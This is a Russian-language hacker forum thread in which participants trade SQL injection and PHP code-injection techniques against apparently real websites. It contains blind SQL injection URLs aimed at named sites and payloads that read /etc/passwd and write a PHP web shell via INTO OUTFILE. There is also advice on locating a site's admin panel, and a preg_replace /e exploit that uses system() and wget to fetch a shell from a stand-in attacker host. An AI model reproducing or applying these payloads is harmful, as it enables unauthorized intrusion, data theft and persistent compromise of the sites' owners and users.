HAXTA4OK, давай ссылку. Для телепатии недостаточно маны http://www.edu-play.co.uk/prod-detail.asp?ProductID=4204+and+1=if(ascii(substring((select+table_name+from+information_schema.tables+limit+0,1),1,1))>1,1,0) Оно ?
Update - вопрос остался без ответа Ну не, это немного нето. Небудуж я его каждый раз запускать, палево млин. Мож кто нает как например разрешить конект на определенный порт? ибо например когда пингую говорит что сервер офф а из веба его видно.
Code: Chain INPUT (policy DROP) target prot opt source destination ACCEPT tcp -- урл сайта anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ACCEPT udp -- урл сайта anywhere ACCEPT tcp -- урл сайта anywhere tcp flags:!FIN,SYN,RST,ACK/SYN ACCEPT udp -- урл сайта anywhere ACCEPT all -- anywhere anywhere ACCEPT icmp -- anywhere anywhere limit: avg 10/sec burst 5 DROP all -- anywhere 255.255.255.255 DROP all -- anywhere 198.202.66.255 DROP all -- base-address.mcast.net/8 anywhere DROP all -- anywhere base-address.mcast.net/8 DROP all -- 255.255.255.255 anywhere DROP all -- anywhere 0.0.0.0 DROP all -- anywhere anywhere state INVALID LSI all -f anywhere anywhere limit: avg 10/min burst 5 INBOUND all -- anywhere anywhere INBOUND all -- anywhere perutz.salk.edu INBOUND all -- anywhere perutz.salk.edu INBOUND all -- anywhere 198.202.66.255 LOG_FILTER all -- anywhere anywhere LOG all -- anywhere anywhere LOG level info prefix `Unknown Input' Chain FORWARD (policy DROP) target prot opt source destination ACCEPT icmp -- anywhere anywhere limit: avg 10/sec burst 5 TCPMSS tcp -- anywhere anywhere tcp flags:SYN,RST/SYN TCPMSS clamp to PMTU OUTBOUND all -- anywhere anywhere ACCEPT tcp -- anywhere 198.202.66.0/24 state RELATED,ESTABLISHED ACCEPT udp -- anywhere 198.202.66.0/24 state RELATED,ESTABLISHED LOG_FILTER all -- anywhere anywhere LOG all -- anywhere anywhere LOG level info prefix `Unknown Forward' Chain OUTPUT (policy DROP) target prot opt source destination ACCEPT tcp -- урл сайта урл сайта tcp dpt:domain ACCEPT udp -- урл сайта урл сайта udp dpt:domain ACCEPT tcp -- урл сайта урл сайта tcp dpt:domain ACCEPT udp -- урл сайта урл сайта udp dpt:domain ACCEPT all -- anywhere anywhere DROP all -- base-address.mcast.net/8 anywhere DROP all -- anywhere base-address.mcast.net/8 DROP all -- 255.255.255.255 anywhere DROP all -- anywhere 0.0.0.0 DROP all -- anywhere anywhere state INVALID OUTBOUND all -- anywhere anywhere OUTBOUND all -- anywhere anywhere LOG_FILTER all -- anywhere anywhere LOG all -- anywhere anywhere LOG level info prefix `Unknown Output' Chain INBOUND (4 references) target prot opt source destination ACCEPT tcp -- anywhere anywhere state RELATED,ESTABLISHED ACCEPT udp -- anywhere anywhere state RELATED,ESTABLISHED ACCEPT all -- 198.202.66.0/24 anywhere ACCEPT all -- 198.202.69.0/24 anywhere ACCEPT all -- 10.0.0.0/8 anywhere ACCEPT tcp -- anywhere anywhere tcp dpt:smtp ACCEPT udp -- anywhere anywhere udp dpt:smtp ACCEPT tcp -- anywhere anywhere tcp dpt:http ACCEPT udp -- anywhere anywhere udp dpt:http LSI all -- anywhere anywhere Chain LOG_FILTER (5 references) target prot opt source destination Chain LSI (2 references) target prot opt source destination LOG_FILTER all -- anywhere anywhere LOG tcp -- anywhere anywhere tcp flags:FIN,SYN,RST,ACK/SYN limit: avg 1/sec burst 5 LOG level info prefix `Inbound ' DROP tcp -- anywhere anywhere tcp flags:FIN,SYN,RST,ACK/SYN LOG tcp -- anywhere anywhere tcp flags:FIN,SYN,RST,ACK/RST limit: avg 1/sec burst 5 LOG level info prefix `Inbound ' DROP tcp -- anywhere anywhere tcp flags:FIN,SYN,RST,ACK/RST LOG icmp -- anywhere anywhere icmp echo-request limit: avg 1/sec burst 5 LOG level info prefix `Inbound ' DROP icmp -- anywhere anywhere icmp echo-request LOG all -- anywhere anywhere limit: avg 5/sec burst 5 LOG level info prefix `Inbound ' DROP all -- anywhere anywhere Chain LSO (0 references) target prot opt source destination LOG_FILTER all -- anywhere anywhere LOG all -- anywhere anywhere limit: avg 5/sec burst 5 LOG level info prefix `Outbound ' REJECT all -- anywhere anywhere reject-with icmp-port-unreachable Chain OUTBOUND (3 references) target prot opt source destination ACCEPT icmp -- anywhere anywhere ACCEPT tcp -- anywhere anywhere state RELATED,ESTABLISHED ACCEPT udp -- anywhere anywhere state RELATED,ESTABLISHED ACCEPT all -- anywhere anywhere
http://xxx/xxx?id=48535'/**/and%22x%22/**/regexp/**/concat(%22x{1,25%22,/**/if(substring((SELECT/**/file_priv/**/FROM/**/mysql.user%20WHERE/**/user/**/=/**/'root'),1,1)/**/=/**/'Y',/**/(select/**/1/**/union/**/select/**/2),/**/%226}%22))/**/and/**/1='1 Subquery returns more than 1 row. т.е. права есть Code: select product_list.id, product_manufacturers.manname, product_list.manpart, product_list.descr, product_list.upccode, product_list.platform, product_list.sku, product_list.subsku, product_prices.price_msrp, product_prices.price_level1, product_list.refurb, product_list.demo, product_prices.instock, product_list.dropship as dship, product_list.visible from product_list, product_manufacturers, product_prices, site_skus where product_prices.price_level1 > 0 AND product_list.id = '48535'/**/and"x"/**/regexp/**/concat("x{1,25",/**/if(MID((SELECT file_priv FROM mysql.user WHERE user = 'root'),1,1) = 'Y',/**/(select/**/1/**/union/**/select/**/2),/**/"6}")) and 1='1' and product_list.kit = '0' AND product_list.manid = product_manufacturers.manid and site_skus.pid = product_list.id and site_skus.divid = '0' and product_list.id = product_prices.id group by product_list.id собственно как? обрубать запрос нельзя обрубалки не работают нужно сделать через подзапрос
paypoker проверяем файл прив id=1+and+1=(if(load_file('/etc/passwd')+is+not+NULL,1,2)) заливаем id=1+and+if((select+"<?php код ?>"+into+outfile+'/dir/shell.php'),1,2)=1 обрубалки и фильтры так-же как и в твоём подзапросе обойдёшь, если база старая добавь from ну думаю если такую чудо конструкцию сумел составить, разберёшься и под себя переделаешь, это макет
вот якобы скуль http://www.bicentenary.tas.gov.au/events/event.php?id=10' вызывает ошибку вроде вот оно счастье определяю количество столбов http://www.bicentenary.tas.gov.au/events/event.php?id=10+order+by+20 работает http://www.bicentenary.tas.gov.au/events/event.php?id=10+order+by+21 выдает ошибку. Столбцов у нас 20 значит. Сотмрю http://www.bicentenary.tas.gov.au/events/event.php?id=10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 и получаю 504 ошибку, О_о, в чем прикол ?
не могу найти админку на http://www.beeliefbotanics.com, всю бошку сломал, помогите кто может, заранее пасиб
http://www.beeliefbotanics.com/admin.php админка, авторизация где-то в другом месте или через куки, GET
ну у меня реакция - пустая страница, тоже самое и при http://www.beeliefbotanics.com/admin1012121.php например...
http://127.0.0.1/4/11.php?get=[1]phpinfo()[/1] выводит phpinfo() Во нашел http://127.0.0.1/4/11.php?get=[1]eval($d)[/1]&d=echo%20'fff';
взял твой пример у меня http://127.0.0.1/4/11.php?get=[1]echo%20'fff'[/1] Parse error: syntax error, unexpected T_ECHO, expecting ')' in C:\xampp\htdocs\4\11.php(3) : regexp code on line 1 Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code: base64_encode(echo \'fff\') in C:\xampp\htdocs\4\11.php on line 3 а при моем на кавычки не ругается а я ни чего против не имею, что в регулярке нету eval'a ,eval это уже как следствие выполнения php кода, а далее раз ты его выполняеш то и получаеш eval($d)&d=phpcode
Nightmarе, ты посмотри внимательно как ты парсишь текст: PHP: preg_replace("#\[1\](.*?)\[/1\]#sie", "base64_encode(\\1)", $get); Если на входе Code: http://127.0.0.1/1.php?get=[1]phpinfo()[/1] то на выходе будет Code: base64_encode(phpinfo()); Сначала выполнится phpinfo(); - выведет результат на экран, а потом base64_encode(phpinfo()); выведет MQ==, т.е кодированный в base64 результат ВЫПОЛНЕНИЯ ф-ции phpinfo(), т.е. 1 (1 - ф-ция выполнилась успешно, 0 - нет) . Вся ошибка твоего кода в том, что ты не ставишь кавычек на заменяющую строку. Т.е. вместо PHP: "base64_encode(\\1)" поставь PHP: "base64_encode('\\1')" И твой код будет полностью защищен - выполнить какие-либо php-функции не удастся. Это по поводу безопасности.. Если же тебе надо, н.п. шелл залить, на вход отправь данные: Code: ?get=[1]system($_GET[0])[/1]&0=wget+http://evilsite.ru/evilcode.txt+-O+shell.php Он сработает. Почему? Интерпретатор будет интерпретировать строку PHP: base64_encode(system($_GET[0])) Сначала выполнится ф-ция system(), которая берет аргумент с GET параметра 0, а он у тебя Code: wget http://evilsite.ru/evilcode.txt -O shell.php Синтаксис wget объяснять не буду...
Нет, тебя в кавычках строка на выходе. Code: $line = preg_replace("#\[1\](.*?)\[/1\]#sie", "[SIZE=4][COLOR=Red]'[/COLOR][/SIZE]<a href=\"javascript:getfile(\''.addslashes('\\1').'\');\"><font color=#E2C6EE>\\1</font></a>[SIZE=4][COLOR=Red]'[/COLOR][/SIZE]", $line); Почему не работает? - Смотри выше.